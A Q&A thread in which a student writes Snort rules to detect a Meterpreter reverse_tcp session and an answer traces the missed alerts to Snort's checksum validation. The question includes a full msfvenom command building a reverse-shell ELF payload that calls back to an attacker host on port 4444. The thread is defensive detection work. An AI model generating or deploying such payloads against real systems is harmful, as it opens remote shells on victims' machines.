Snort rule doesn't match the content in Meterpreter session packet

Question

I'm working on a university project and I'm trying to identify a reverse shell attack with Snort IDS. For the attack I used Meterpreter/reverse_tcp and analyzed the packets via Wireshark for traces to use in Snort rules. I managed to find some strings that might be useful for identifying an attack, such as: "PSSWQH", "mbedtls", "ELF"; these strings can be read clearly inside the packages, as can be seen from the photos.

I therefore wrote the following rules in Snort:

1. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000001;msg:"Find PSSWQH HEX string";content:"|50 53 53 57 51 48|", nocase;classtype:shellcode-detect;priority:1;)
2. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1; sid:10000003; msg:"mbedtls HEX string found with distance option"; content:"|6d 62 65 64 74|", nocase;classtype:shellcode-detect;priority:1;)
3. alert tcp $EXTERNAL_NET any -> $HOME_NET any (rev:1;sid:10000004;msg:"ELF string found hex";content:"|45 4c 46|";classtype:shellcode-detect;priority:1;)

The problem is that the first rule is practically always activated, this means that Snort manages to find a match between the content and the data of a packet, but the second and third, despite being structurally the same as the previous one, are never activated and Snort never raises the alert.

This is the snort.conf file:

I generate the payload with msfvenom: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<name of my home server> LPORT=4444 -f elf -a x64 -o shell_port_4444.elf

I leave the mega link where you can download the .zip file containing the Snort configuration file and the pcap shown in the photo

Mega folder

To replicate the test you will need to change the LHOST and LPORT parameter based on your network and the $HOME_NET and $EXTERNAL_NET variables in the Snort configuration file.

Could anyone help me?

Answer 1

This analysis was based on the provided pcap and config. Looking at the pcap there are packets which have a correct TCP checksum and packets which don't - wich can happen if TCP checksum is offloaded to the network card. But, snort is instructed to actually verify the checksum and throw away any packets with a wrong checksum. To cite from README.decode:

Stream and Frag will not process packets that have been flagged as having bad checksums.

For doing checksum analysis and throwing away packets they have to be computed in the first place. This was enabled in the snort.conf:

# Configure IP / TCP checksum mode
config checksum_mode: all

Enabling TCP checksum validation in Wireshark one can observe, that the packet matching PSSWQH has the correct TCP checksum, while the packet matching ELF and mbedtls has not. This explains, why the first rule matches (packet found) while the other two not (packet discarded due to checksum before matching).

Disabling checksum computation fixes the problem:

config checksum_mode: none

After this change all rules match since no packets get discarded before the match due to a wrong checksum:

11/15-11:34:31.987445  [**] [1:10000001:1] Find PSSWQH HEX string [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:31.987704  [**] [1:10000003:1] mbedtls HEX string found with distance option [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:31.987704  [**] [1:10000004:1] ELF string found hex [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:32.010994  [**] [1:10000004:1] ELF string found hex [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870
11/15-11:34:32.015976  [**] [1:10000003:1] mbedtls HEX string found with distance option [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 79.32.158.83:4444 -> 192.168.122.145:59870